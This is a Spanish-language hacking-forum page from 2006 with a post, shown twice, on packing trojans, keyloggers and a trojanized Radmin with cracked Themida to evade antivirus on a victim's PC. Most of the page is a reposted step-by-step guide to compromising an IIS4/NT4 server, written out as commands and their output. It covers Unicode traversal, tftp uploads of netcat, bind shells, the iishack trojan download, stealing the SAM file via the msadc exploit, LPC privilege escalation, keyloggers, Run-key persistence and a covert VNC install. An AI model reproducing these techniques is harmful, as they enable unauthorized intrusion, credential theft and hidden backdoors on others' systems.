Creo que este tema ya está decidido y creanlo o no, lo acepten o no... NO HAY NI HABRÁ UN IRC OFICIAL. y creo que ya todos gritaron, se rebolcaron y patalearon todo lo que quisieron y no hay mas buelta que darle al asunto... si alguien quiere hacer reuniones en algun irc mandenle un mensaje privado a cada uno o exponen un post nuevo diciendo: "chat no oficial elhacker.net" acá. y se acabó y si alguien mas quiere abrir otro canal que responda ese mismo post y ya dejen el foro en paz porque como ya dije: chat no hay ni habrá oficial. y se que no es lo mismo pero tambien Debes entender que el dueño de este foro no kiere por razones que ya muchos conocen y si aún quieres seguir ligando con eso ps habla directamente con el.
- Bienvenido a Test Foro de elhacker.net SMF 2.1.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#4552
Hacking / Re: actualizacion de troyanizando radmin
17 Junio 2006, 05:53 AM
Hay un programa que es un 80% efectivo para que no sean detectados como virus los dll, scr, exe y ocx... en realidad es un software de proteccion diseñado para que no te puedan crackear un programa hecho por ti. las ventajas son:
Advanced Anti-Debugger
Advanced API-Wrapping
Anti Dumpers
Virtual Machine Emulaion
Entry Point Ofuscation
Metamorph Security
Resources Encryption
Memory Guard
VMWare / Virtual PC compatible [on-off]
A demas de:
Resources Compression
Monitor Blockers [File and Registry]
Delphi / BCB Form Protection
Ring-0 Protection
y bueno.... algunos usan este programa para filtrar virus y troyanos y hacerlos indetectables por los AV ya que no lo pueden descompilar ni nada--.. digo 80% efectivo porque lo hice con 2 keyloggers, 5 troyanos y 3 virus, de los cuales una makina con windows nt200 mas el Mcafee 8.0 (Pagado) me detectó solo 2 troyanos y un keylogger.
Supuestamente era 100% efectivo, pero me desepciono ver como borraba mis troyanitos
La idea es hacer pasar el DLL del radmin por el themida 1.5 y ver que sucede... yo mientras lo pruevo les dejo la inquietud
Si me preguntan donde busqué el crack.. pues estuve metido como media hora en google buscando hasta que di con un foro que ya ni me acuerdo con el link del themida 1.5+manual con fotos+Crack.
DATO: yo tambien juego mucho con el winrar pero con la diferencia que siempre le doy la instruccion de que me omita los archivos existentes porque me ha pasado que al tratar de sobreescribir un archivo en uso se traba y aparece un tremendo pantallazo diciendo que trataba de afiliarte la pc con el radmin. ( obiamente si ya tiene el radmin en su computador es porque deve estar corriendo o no? )
APORTE: Yo opino! que puedes darle otro nombre al dll como por ejemplo: pro.jpg e incluir en el bat que te haga un tskill al radmin, borrar el dll original y renombrar el tuyo, pero esto no es necesario porque quedaria exactamente igual que antes no? con la diferencia que este esta pasado por themida y no sufrira ante el indeseable AV cuando le pongan uno bueno a esa pc ..... Puede ser no???? porque si aún esta en esa makina es porque el antivirus que utiliza si es que tiene deve ser malo y talves algun dia lo actualizen y nos dejen tirados sin conecccion remota. (Considerar que si ya esta instalado el radmin y esta corriendo... cuando ejecutes el SFX (rar ejecutable) te saldrá un error no muy atractivo. A demas con el @echo off que octalh le puso no se verá el error si realmente no estaba instalado con anterioridad.
Otro aporte es bajar el bat2com que me recomendo octalh y el com2exe para encapsular el bat dentro de un *.exe o *.com en caso de que nos quieran espiar y quieran ver el bat para ver lo que hacen o por lo menos ya no saldrá tan llamativamente el bat. incluso puedes pasarlo tambien por el themida junto con el ejecutable del radmin para que sea aún mas dificil de detectar y pierda ese toque de "Hagalo usted mismo" y sea algo mas "Proffessionnal" jajajaja
y con respecto a xclom: si se puede, es mas... es posible sesmenuzar cada antivirus con multiples tecnicas, pero el problema está en que cada antivirus es diferente y sería muy facil si todos tubieran el mismo antivirus no crees?
Advanced Anti-Debugger
Advanced API-Wrapping
Anti Dumpers
Virtual Machine Emulaion
Entry Point Ofuscation
Metamorph Security
Resources Encryption
Memory Guard
VMWare / Virtual PC compatible [on-off]
A demas de:
Resources Compression
Monitor Blockers [File and Registry]
Delphi / BCB Form Protection
Ring-0 Protection
y bueno.... algunos usan este programa para filtrar virus y troyanos y hacerlos indetectables por los AV ya que no lo pueden descompilar ni nada--.. digo 80% efectivo porque lo hice con 2 keyloggers, 5 troyanos y 3 virus, de los cuales una makina con windows nt200 mas el Mcafee 8.0 (Pagado) me detectó solo 2 troyanos y un keylogger.
Supuestamente era 100% efectivo, pero me desepciono ver como borraba mis troyanitos
La idea es hacer pasar el DLL del radmin por el themida 1.5 y ver que sucede... yo mientras lo pruevo les dejo la inquietud
Si me preguntan donde busqué el crack.. pues estuve metido como media hora en google buscando hasta que di con un foro que ya ni me acuerdo con el link del themida 1.5+manual con fotos+Crack.
DATO: yo tambien juego mucho con el winrar pero con la diferencia que siempre le doy la instruccion de que me omita los archivos existentes porque me ha pasado que al tratar de sobreescribir un archivo en uso se traba y aparece un tremendo pantallazo diciendo que trataba de afiliarte la pc con el radmin. ( obiamente si ya tiene el radmin en su computador es porque deve estar corriendo o no? )
APORTE: Yo opino! que puedes darle otro nombre al dll como por ejemplo: pro.jpg e incluir en el bat que te haga un tskill al radmin, borrar el dll original y renombrar el tuyo, pero esto no es necesario porque quedaria exactamente igual que antes no? con la diferencia que este esta pasado por themida y no sufrira ante el indeseable AV cuando le pongan uno bueno a esa pc ..... Puede ser no???? porque si aún esta en esa makina es porque el antivirus que utiliza si es que tiene deve ser malo y talves algun dia lo actualizen y nos dejen tirados sin conecccion remota. (Considerar que si ya esta instalado el radmin y esta corriendo... cuando ejecutes el SFX (rar ejecutable) te saldrá un error no muy atractivo. A demas con el @echo off que octalh le puso no se verá el error si realmente no estaba instalado con anterioridad.
Otro aporte es bajar el bat2com que me recomendo octalh y el com2exe para encapsular el bat dentro de un *.exe o *.com en caso de que nos quieran espiar y quieran ver el bat para ver lo que hacen o por lo menos ya no saldrá tan llamativamente el bat. incluso puedes pasarlo tambien por el themida junto con el ejecutable del radmin para que sea aún mas dificil de detectar y pierda ese toque de "Hagalo usted mismo" y sea algo mas "Proffessionnal" jajajaja
y con respecto a xclom: si se puede, es mas... es posible sesmenuzar cada antivirus con multiples tecnicas, pero el problema está en que cada antivirus es diferente y sería muy facil si todos tubieran el mismo antivirus no crees?
#4553
Tutoriales - Documentación / Hackear el Server con redes NT
17 Junio 2006, 04:48 AM
Bueno... este es un texto que yo no hice, pero se los dejaré igual para que puedan ampliar sus conocimientos.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Hack NT4 paso a paso
En este texto vamos a enseñar que fácil puede ser hackear un sistema NT, para demostrar lo importante que es aplicar los parches pertinentes a una instalación por defecto de uno de estos Windows.
Vamos a estudiar la debilidad de un sistema NT4, (resulta asombroso el elevado número de NT4 que aun funcionan en la red, en su mayoría empresas de mediano o pequeñio tamaño) aunque gran parte de lo explicado puede ser trasladado a un sistema con Windows 2000 que corra un servidor IIS5 (evidentemente salvando las distancias con algunas variantes), lo importante es ver que fácil puede ser hackear un servidor NT, tal vez así todos esos admins de pequeñas empresas se anímen a actualizar sus NT4.
El sistema que vamos a estudiar es un Windows NT 4.0 Server con el Service Pack 6.0 y IIS Server versión 4.0, protegido detrás de un firewall corriendo OpenBSD y los únicos puertos abiertos son:
22 (ssh)
80(http)
443(secure http)
lo cual constituye una configuración por defecto en un servidor web.
La IP del objetivo será 12.168.10.1, y nuestra IP será 192.168.10.250
1: Investigando el sistema.
El primer paso en cualquier intrusión es averiguar que sistema está corriendo el PC obgetivo, sus versiones y los servicios que tiene abiertos, etc. En este ejemplo partimos ya de una situación en la que conocemos el sistema y sus caracteristicas, pero vamos a ver como podriamos ayarlo en caso de que no lo supieramos.
Un programa de los mas conocidos, que corre bajo *nix es el NMAP , aunque tambien hay una versión para NT nmapNT
NMAP es un scanner de puertos para sistemas *nix. Se puede utilizar para escanear grandes redes o PC´s individuales. Tiene numerosas opciones, dependiendo de lo que estés buscando. El funcionamiento de un scanner de puertos básicamente consiste en conectar a todos los puertos de un sistema, o a los que le especifiques, y encuentra que servicios se están ejecutando en él, además NAMP también puede hacer el "OS fingerprinting" (huellas digitales del sistema operativo).
Este es un output del NMAP en linux
[cyrux@net /cyrux]# nmap -O 192.168.10.1
Starting nmap V. 2.30BETA17 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on NT_VICTIMA (192.168.10.1):
(Ports scanned but not shown below are in state: filtered)
Port State Service
22/tcp unfiltered ssh
80/tcp open http
443/tcp open https
TCP Sequence Prediction: Class=trivial time dependency
Difficulty=4 (Trivial joke)
Remote operating system guess: Windows NT4 / Win95 / Win98
Nmap run completed -- 1 IP address (1 host up) scanned in 172 seconds
La opción'-O' es para el "OS fingerprinting" , en el output podemos ver que se trata de un Windows, y que está corriendo el puerto 80, lo cual ya nos indica que es seguramente servidor de web.
Pero necesitamos saber algo mas, para ello utilizamos el Netcat. El Netcat básicamente lee y escribe paquetes de red. Puede utilizarse como cliente o servidor. Usando netcat como cliente, cuando conectamos al puerto del servidor web IIS, pulsa Enter varias veces, y el Netcat no devolverá los encabezados que recibe:
[cyrux@net /cyrux]# nc -vv 192.168.10.1 80
NT_VICTIMA [92.168.10.1] 80 (www) open
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Thu, 18 Jan 2001 23:23:22 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body></html> sent 2, rcvd 224
Ahora sabemos que se trata de un servidor de web IIS/4.0 , y como sabemos el IIS no corre bajo sistemas win9x, por lo tanto sabemos que estamos ante un NT.
Sin duda de los mejores scanners que hay, aunque sólo corre bajo Windows NT/2K/XP es el LANguard .
Con el LANguard podemos averiguar el sistema operativo, los puertos, los servicios, e incluso algunos posibles bugs. Aquí tienes el output:
Ahora que ya sabemos ante qué tipo de máquina estamos, es el momento de empezar con la intrusión, para ello vamos a hacer uso de algunos de los bugs y exploits que existen para esta máquina.
2: Subiendo archivos al PC remoto:
2.1 : Explotando el bug de Unicode.
Primero vamos a utilizar el bug de Unicode, ya que estamos ante una máquina que no parece muy actualizada, no sería extraño que fuese vulnerable, no queda ya mucho que contar sobre este bug, Pincha aquí para bajarte un texto en el que se explica detalladamente el bug de Unicode.
De todos modos para hacer mas cómoda la lectutra vamos a seguir con una breve explicación.
Al igual que el servidor FTP, el servidor Web se ejecuta desde un directorio, desde el cual los usuarios del servicio no pueden acceder al resto de los directorios del sistema. Pero el servidor web necesita tener algunos permisos de ejecución para que funcionen por ejemplo los scripts, pero estos permisos de ejecución se hayan exclusivamente en el en los directorios, predefinidos, que lo necesitan, por ejemplo en la configuración por defecto la carpeta c:\Inetpub\scripts estos permisos (entre otras).
Por lo tanto tenemos permisos para ejecutar archivos en /Inetpub/scripts/ pero los programas que queremos ejecutar suelen estar en /winnt/system32.
La manera de llegar desde /Inetpub/scripts hasta /winnt/system32 sería esta:
'../../winnt/system32/cmd.exe'.
Pero IIS por razones de seguridad no permite salir de la rama de los directorios que utiliza el servidor web, y no permitirá la exploración de este path.
La manera de saltarnos ese filtro de seguridad es sustituir los "/" por los códigos equivalentes en unicode, con una URL como esta:
http://192.168.1.2/scripts/..Ã%pc../winnt/system32/cmd.exe?/c+dir
obtenemos algo como esto esto:
Ya podemos ejecutar comandos en el servidor, pero con los permisos propios del usuario INET_NOMBREPC, que goza de muy pocos privilegios, y resulta un método bastante engorroso.
Hay un montón de herramientas que hacen este proceso mas fácil (aunque al final siempre acabemos haciendo estas cosas a mano). En la sección exploits tienes un montón de utilidades para facilitar este proceso.
Vamos a ver un ejemplo de como se utilizaría una de estas herramientas, el unicodexecute2.pl , escrito en perl (utilizable *nix y en Windows con el paquete ActivePerl instalado ) lo que hace es basicamente mandar los comandos que introducimos con el formato que tendrían si los introdujesemos via web:
[cyrux@net /cyrux]# perl -x unicodexecute2.pl 192.168.10.1:80 'dir'
Executing dir on 192.168.10.1:80
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Fri, 19 Jan 2001 00:15:26 GMT
Content-Type: application/octet-stream
Volume in drive D has no label.
Volume Serial Number is F465-557F
Directory of D:\Inetpub\scripts
01/18/01 03:15p <DIR> .
01/18/01 03:15p <DIR> ..
2 File(s) 0 bytes
28,081,664 bytes free
Como ya podemos ejecutar comandos, vamos a tratar de conseguir una shell remota, para ello utilizaremos el netcat.
Lo primero es subir el netcat al servidor IIS, utilizamos el conocido método del TFTP (Trivial File Transfer Protocol) para ello hacemos que nuestro PC sea servidor de TFTP.
Si utilizas Windows puede utilizar el TFTPD32 y verás algo así:
Ahora colocamos el netcat (nc.exe) en el directorio que usamos como root para el TFTP, mandando el siguiente comando por nuestro unicodexecute2.pl:
[cyrux@net /cyrux]# perl -x unicodexecute2.pl 192.168.10.1:80 'tftp -i 192.168.10.250 GET nc.exe'
Executing tftp -i 192.168.10.250 GET nc.exe on 192.168.10.1:80
HTTP/1.1 502 Gateway Error
Server: Microsoft-IIS/4.0
Date: Fri, 19 Jan 2001 00:19:34 GMT
Content-Length: 215
Content-Type: text/html
<head><title>Error in CGI Application</title></head>
<body><h1>CGI Error</h1>The specified CGI application misbehaved by not returning
Comprobamos que todo haya ido bien:
[cyrux@net /cyrux]# perl -x unicodexecute2.pl 192.168.10.1:80 'dir'
Executing dir on 192.168.10.1:80
Directory of D:\Inetpub\scripts
01/18/01 04:19p <DIR> .
01/18/01 04:19p <DIR> ..
01/18/01 04:19p 59,392 nc.exe
3 File(s) 59,392 bytes
28,022,272 bytes free
Ejecutamos el netcat para que ejecute el cmd.exe de manera que aguarde en el puerto 443, utilizamos el 443 porque está abierto en el firewall, incluimos la opcíon "-d" para que se ejecute en modo silencioso:
[root@gundam nthack]# perl -x unicodexecute.pl 192.168.10.1:80 'nc -L -p443 -d -e cmd.exe'
Executing nc -L -p23 -d -e cmd.exe on 192.168.10.1:80
Como no recibimos respuesta sabemos que se está ejecutando, así que abrimos el netcat en nuestro PC al igual que hicimos antes con el puerto 80 del PC objetivo, pero ahora apuntando a su puerto 443, en el que nos debería recibir el netcat que dejamos en modo escucha.
[cyrux@net /cyrux]# nc 192.168.10.1 443
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\Inetpub\scripts>whoami
whoami
NT_VICTIMA\IUSR_NT_VICTIMA
D:\Inetpub\scripts>
Ya tenemos la shell que estabamos buscando, pero como vemos con el comando "whoami" no tenemos permisos de administrador, sólo tenemos los permisos propios del usuario IUSR_NT_VICTIMA, vamos a ver como podemos obtener mayores permisos.
2.1: Usando el IISHack.
Como es este caso se trata de un IIS4 podemos utilizar el exploit IISHack (puedes usar también el IISHack2 de http://rootx.gq.nu) del grupo eEye gracias al cual podemos subir y ejecutar un archivo a un web server IIS4 desde otra web. Su uso es muy fácil, esto es una reproducción de lo que haríamos:
C:\>iishack.exe 192.168.10.1 80 www.troyanos.com/troyano.exe
#--[IIS 4.0 remote buffer overflow exploit]----#
(c) dark spyrit -- barns@eeye.com.
http://www.eeye.com
[usage: iishack <host> <port> <url>]
example-iishack www.target.com 80 www.troyanos.com/troyano.exe
#--------------------------------#
Connecting...
done.. sending shellcode..
Number of characters send: xx
done.. closing
C:\>
<host> es el PC objetivo
<port> es el puerto del servidor web, generalmente el 80
<url> es la url la que subimos el programa que queremos que se suba a su vez al PC objetivo. Para esto podemos hacernos con un espacio web gatuito, al que subimos nuestro troyano.exe o poner la url de un sitio en el que ya esté el troyano.exe.
Después de esto el programa que hayas subido debería haberse ejecutado, ojo si subes un troyano, puesto que éste puede correr por un puerto que esté bloqueado por el firewall, para ello deberás configurar el server antes subirlo a la web, además tal vez el troayno quede inutilizado por algún antivirus, recuerda también que debe ser compatible con NT.
Ya tenemos acceso al PC con el cliente del troyano que hayamos utilizado o desde una shell si subimos el netcat o algún programa que nos sirva al efecto.
3: Elevando los privilegios:
Si después de lo anterior, contamos con una shell, conseguida con el netcat, nos veremos obligados a elevar los privilegios con los que contamos, recordemos que la shell que conseguimos a través del netcat corria bajo los permisos del usuario IUSR_NT_VICTIMA, los cuales son demasiado bajos. Podrémos actuar de varias maneras:
3.1: Utilizando el exploit Sechole:
El Sechole explota un fallo en los sistemas Windows NT 4.0 , 5.0 beta, independientemente de que sea workstation o server. Bájatelo de aquí
Su uso es muy fácil, aunque nosotros, como estamos trabajando remotamente deberemos utilizarlo desde la shell que conseguimos antes.
Subimos al server los archivos SECHOLE.EXE y ADMINDLL.DLL.
Ejecutamos desde la shell remota el SECHOLE.EXE
Una vez hecho esto, el sistema seguramente se vuelva inestable, llegando incluso a caerse, eso es precisamente lo que necesitamos, cuando vuelva a iniciarse la cuenta desde la que se ejecutó el sechole pertenecerá al grupo de administradores.
Si el server no se reinicia, puedes esperar a que se apague o subir algún overflow, y ejecutarlo en el server pasa reiniciarlo tu mismo.
Puedes por ejemplo subir el exploit del CSRSS y ejecutarlo, aquí tienes una explicación de cómo funciona.
3.2 : Consiguiendo los passwords.
Sería interesante poder hacerse con el archivo SAM, que contiene los usuarios y passwords en cualquier sistema NT, pero evidentemente está cifrado. El SAM está bloqueado cuando el sistema se está ejecutando, y ni siquiera el Administrador puede acceder a él. Pero hay otros sitios donde se guardan copias de este archivo, uno es en los discos de emergencia (repair disk) si estos has sido creados con la opción "/s" , y otro es en la carpeta /winnt/repair aunque esta última está comprimida (SAM._).
MDAC es la manera en la que el servidor web accede a cualquier base de datos ODBC.
La instalación por defecto del IIS4.0 incluye el MDAC, y el éste incluye un componente llamado RDS (Remote Data Services). RDS es la parte que permite el acceso remoto al OBDC a través de la web.
MS Access maneja estas peticiones a través del motor de la base de datos llamado Jet. El problema es que Jet permite llamadas a la shell del VBA, permitiendote ejecutar comandos con permisos de Sistema.
Con los permisos que tenemos en este momento (recordemos que estamos como usuario IUSER_NT_VICTIMA ) no podemos tocar el sam._ , esto es lo que pasaría:
D:\Inetpub\scripts>copy \winnt\repair\sam._
copy \winnt\repair\sam._
Access is denied.
0 file(s) copied.
Volviendo al MDAC, buscando en internet, vemos que existe un exploit que nos permite ejecutar comandos en el PC remoto, el msdac2.pl (también escrito en perl), para ejecutarlo simplemente le añadimos "-h <ip_objetivo>".
Uutilizamos este exploit para subir el sam._ a nuestro PC, el output sería éste:
[cyrux@net /cyrux]# perl -x msadc2.pl -h 192.168.10.1
-- RDS exploit by rain forest puppy / ADM / Wiretrip --
Please type the NT commandline you want to run (cmd /c assumed):
cmd /c tftp -i 192.168.10.250 PUT \winnt\repair\sam._
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: Success!
Comprobamos que efectivamente nos hemos hecho con el sam._
[cyrux@net /cyrux]# ls -la /tftproot/sam._
-rw-rw-rw- xx ....................... xx /tftproot/sam._
NOTA: Hacerse con el archivo sam es muy importante, pero estamos limitados a la suerte que tengamos a la hora de crackearlo, otra manera de conseguir los pass del admin sería subir un keylogger al PC objetivo, y esperar unos dias, después de ese tiempo, volvemos a conectarnos al PC y nos bajamos el log con las claves.
3.2.1 : Crackeando los passwords.
Una vez que ya tenemos el archivo que contiene los passwords del PC objetivo, tenemos que descomprimirlo y desencriptarlo.
Para descomprimirlo, tenemos que utilizar el comando "expand", pero para ello necesitamos tener un NT:
C:\> expand sam._ sam
Pero si no contamos con un NT podemos expandirlo antes de bajarnoslo, con el exploit del MDAC:
[cyrux@net /cyrux]# perl -x msadc1.pl -h 192.168.10.1
-- RDS exploit by rain forest puppy / ADM / Wiretrip --
Please type the NT commandline you want to run (cmd /c assumed):
cmd /c expand \winnt\repair\sam._ \winnt\reapir\sam
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: Success!
Pero aún tenemos que desencriptarlo, vamos a utilizar uno de los mejores programas que hay para ello, el L0phtCrack v3 (LC3) , que corre en NT, aunque nos serviría cualquier otro crackeadorr para NT que no necesariamente tenga que correr bajo un sistema NT (es decir, si no tenemos un NT tendremos que hacernos con un crackeador de archivos sam que sea compatible con nuestro sistema operativo, Win9x Me, *nix ... )
En fin corremos nuestro LC3, y con un poco de suerte y paciencia no haremos con los passwords del PC objetivo, este paso parece un poco "fantasioso", porque siempre parece que eso de encontrar el pass es muy dificil, pero la realidad es que la mayoría de los administradores utilizan passwords de muy baja seguridad, y el LC3 los saca en un porcentaje altísimo de veces (en grandes compañías esto no debería ocurrir).
Aquí tienes una captura del LC3:
La razón de que los passwords sean relativamente fácil de crackear es que Microsoft, en sus esfuerzos por mantener la compatibilidad con las versiones antiguas de Windows, usa un algoritmo "hash" (cifrado en un solo sentido) para el acceso desde redes Microsoft, LanManager. Aunque el NT posee un algoritmo mas nuevo y fuerte, mantiene todavía una copia del LanManager.
3.3 : Consiguiendo permisos de system en el momento:
Hasta ahora esto está bien, pero sigue siendo un poco engorroso tener que esperar a que el PC se reinicie
Existe un bug del LCP que parece que nos puede servir
El LCP (Local Procedure Call Ports)es utilizado por el NT para comunicar los procesos del PC con cualquier otro.
Esta función fue diseñada para permitir a un servidor asumir la personalidad de un cliente o llevar a cabo acciones en su lugar , puede ser utilizada para ejecutar comandos bajo el contexto de otro usuario.
Existe un exploit llamado hk.exe que saca provecho de este bug
Desde una shell, todavía con los permisos del usuario IUSR_NT_VICTIMA podemos subir el exploit.
D:\Inetpub\scripts>tftp -i 192.168.10.250 GET hk.exe
tftp -i 192.168.10.250 GET hk.exe
Transfer successful: 32768 bytes in 1 second, 32768 bytes/s
ahora lo ejecutamos dirigiendolo hacia el netcat, con esto lo que conseguimos es que el netcat sea utilizado por el sistema en vez de por nosotros, gracias a ello, el entorno en el que se ejecutará tendrá permisos de sistema.
D:\Inetpub\scripts>hk nc -L -p 25 -d -e cmd.exe
hk nc -L -p 25 -d -e cmd.exe
lsass pid & tid are: 50 - 53
Launching line was: nc -L -p 25 -d -e cmd.exe
Who do you want to be today?NtImpersonateClientOfPort succeeded
desde otra terminal vamos al nuevo puerto del netcat .
[cyrux@net /cyrux]#nc 192.168.10.1 25
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\Inetpub\scripts>whoami
whoami
NT AUTHORITY\SYSTEM
Vemos que tenemos una shell con permisos de "SYSTEM" . Ahora podemos hacer remotamente lo mismo que podriamos hacer si estuvieramos sentados delante del PC.
NOTA: Como en este ejemplo estamos estudiando un Windows NT4, estamos utilizando exploits que corren bajo NT4, si el PC objetivo fuese un Windows 2000, no sería necesariamente mas seguro, puesto que existen exploits que causan el mismo efectoen el Win2K, como por ejemplo los exploits basados en .printer overflow (ISAPI)...
3.4: Dejando un Keylogger:
Otra opción es dejar simplemente un keylogger silencioso en el server, para que, transcurridos unos dias, puedas bajarte el archivo en el que supuestamente han quedado guardados todos los pass que hayan sido introducidos durante esos dias, entre los que seguramente esté el del Administrador.
Puedes reiniciar tu mismo el server como dijimos antes, con el exploit del CSRSS
4: Dejando una puerta trasera:
Por supuesto lo normal es dejar una manera de volver a entrar en el server sin tener que volver a hacer todo esto, vamos a tratar de explicar algunas que por ser poco convencionales, tal vez resulten mas interesantes
4.1: Claves en el inicio del registro
Llegados a este punto, y con los passwords en nuestro poder, ya podemos hacer un montón de cosas, pero vamos a hacer algo que tal vez no sea de lo mas habitual, vamos a acceder al registro del PC objetivo.
El Servicio de registro remoto está activado el la instalación por defecto, pero para poder acceder a el necesitamos tener permisos de administrador y estar conectados a él como tal.
Para ello vamos a conectarnos por NetBIOS, hacemos lo siguiente:
C:\>net use q: \\192.168.10.1\d$ /user:administrador *
Type the password for \\192.168.10.1\d$: <password aquí>
The command completed successfully.
Si el servicio de registro remoto estuviera deactivado por el administrador del sistema, podriamos activarlo desde la shell remota del PC objetivo, con el siguiente comando:
c:\>net start "Servicio de registro remoto"
Pero para ello hace falta tener permisos de administrador, en caso de necesitar activar el registro, puedes ver como conseguir una shell con permisos suficientes
en el paso 3.3:Exploit del LPC
Ahora ya podemos usar el regedit para conectarnos:
En este momento podemos añadir cualquier cosa en el inicio del Windows, estos son algunos lugares interesantes donde añadir lo que deseemos:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
Por ejemplo vamos a poner el netcat escuchando aquí de manera que se inicie cada vez que se inicie el sistema, al iniciarse así tendrá permisos de sistema.
Podemos añadir, en el PC objetivo, una linea como por ejemplo esta:
Cada vez que el PC objetivo se inicie podremos llamar a nuestro netcat
[cyrux@net /cyrux]# nc 192.168.10.1 443
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
D:\WINNT\Profiles\Administrador\Escritorio>whoami
whoami
NT_VICTIMA\Administrador
Como vemos a partir de ahora podremos user el netcat con permisos de Administrador.
4.2 : Control remoto con interfaz NT.
Todo esto normalmente es mas que suficiente, pero si somos perfeccionistas, aun podemos hacer algo mas:
VNC es un programa de control remoto de uso muy fácil, que consta de dos partes, server, cliente (como muchos troyanos), y que permite a un usuario remoto ver el escritorio del PC en el que se está ejecutando el server e interactuar con el como si estuviera sentado delante del PC, sin ningún tipo de restricción.
Existen versiones de cliente y de servidor tanto para linux como para Windows, por lo que en este caso el sistema operativo no es un problema, puedes bajartelas desde aquí.
Supongamos que estamos en nuestro Windows y ya nos hemos bajado el VNC, ahora necesitamos subir al PC remoto los archivos winvnc.exe, vnchooks.dll, y omnithread_rt.dll. Es aconsejable esconderlos en un directorio poco frecuentado.
Para subirlo vamos a utilizar la conexión de NetBIOS que creamos antes, y colocamos el omnithread_rt.dll en \winnt\system32\ y el winvnc.exe y el vnchook.dll en el \winnt\system32\viewers.
Ahora necesito crear unas claves en el registro. Las claves que necesitas las puedes encontrar en tu propio PC, instalando el VNC y viendo que claves han cambiado.
Este es un ejemplo de un posible archivo que podriamos crear, en el que estamos estbleciendo la configuración que tendrá nuestro vnc:
\registry\users\.default\software\orl
VNCHooks
Application_Prefs
CALC.EXE
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000000
use_LButtonUp = REG_DWORD 0x00000000
use_Deferral = REG_DWORD 0x00000001
CLOCK.EXE
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000001
use_KeyPress = REG_DWORD 0x00000000
use_Deferral = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000000
explorer.exe
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000000
use_MButtonUp = REG_DWORD 0x00000001
use_RButtonUp = REG_DWORD 0x00000001
iexplore.exe
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000001
mspaint.exe
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
NOTEPAD.EXE
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000001
use_MButtonUp = REG_DWORD 0x00000001
use_RButtonUp = REG_DWORD 0x00000001
winlogon.exe
use_GetUpdateRect = REG_DWORD 0x00000001
use_Timer = REG_DWORD 0x00000000
use_KeyPress = REG_DWORD 0x00000001
use_LButtonUp = REG_DWORD 0x00000001
use_MButtonUp = REG_DWORD 0x00000001
use_RButtonUp = REG_DWORD 0x00000001
use_Deferral = REG_DWORD 0x00000001
\registry\machine\software\orl\winvnc3\default
AllowProperties = REG_DWORD 0x00000000
AllowShutdown = REG_DWORD 0x00000001
AutoPortSelect = REG_DWORD 0x00000001
InputsEnabled = REG_DWORD 0x00000001
OnlyPollConsole = REG_DWORD 0x00000001
OnlyPollOnEvent = REG_DWORD 0x00000000
Password = REG_BINARY 0x0000008 da 36 c0 9d 72 2a 8a 28
PollForeground = REG_DWORD 0x00000001
PollFullScreen = REG_DWORD 0x00000001
PollUnderCursor = REG_DWORD 0x00000000
SocketConnect = REG_DWORD 0x00000001
Con esas claves crea un archivo llamado por ejemplo "vnc.ini", bájate de aquí el archivo ya creado
La línea Password = REG_BINARY 0x0000008 da 36 c0 9d 72 2a 8a 28 corresponde al password, en nuestro caso a la palabra "hacknt4".
Para añadir la clave en el registro remoto necesitamos una utilidad llamada regini.exe que está incluida en el NT Workstation Resource Kit, bajate de aquí el regini.exe .
Existen numerosas variantes del vnc original, así como muchos tipos de "vnc.ini" dependiendo de la configuración que le querramos dar. Puedes bajarte un paquete llamado fastpush2_5 que contiene todos los archivos necesrios, así como el regtools y ayudas para instalar el vnc de forma remota.
Movemos el vnc.ini al mismo directorio que el regini.exe y añadimos el archivo al registro del PC remoto de la siguiente manera:
C:\>regini.exe -m \\192.168.10.1 vnc.ini
Instalamos el VNC en el PC remoto desde nuestra shell en la máquina objetivo:
D:\WINNT\system32\viewers>winvnc -install
winvnc -install
De esta manera el VNC se instala como un servicio, por lo que no es necesario que haya nadie en el PC remoto.
Sólo nos queda iniciarlo:
D:\WINNT\system32\viewers>net start winvnc
net start winvnc
The VNC Server service is starting.
The VNC Server service was started successfully.
Ahora desde nuestro PC utilizamos el cliente del VNC para conectarnos al PC remoto, que está ya ejecutando el server del VNC:
Introducimos la IP del PC remoto:
y nos solicita el password, que en nuestro caso era "hacknt4"
Y todo listo para disfrutar del escritorio remoto desde nuestro cliente de VNC, ya sea desde un Linux, como desde un Windows, como en esta captura.
Reumen:
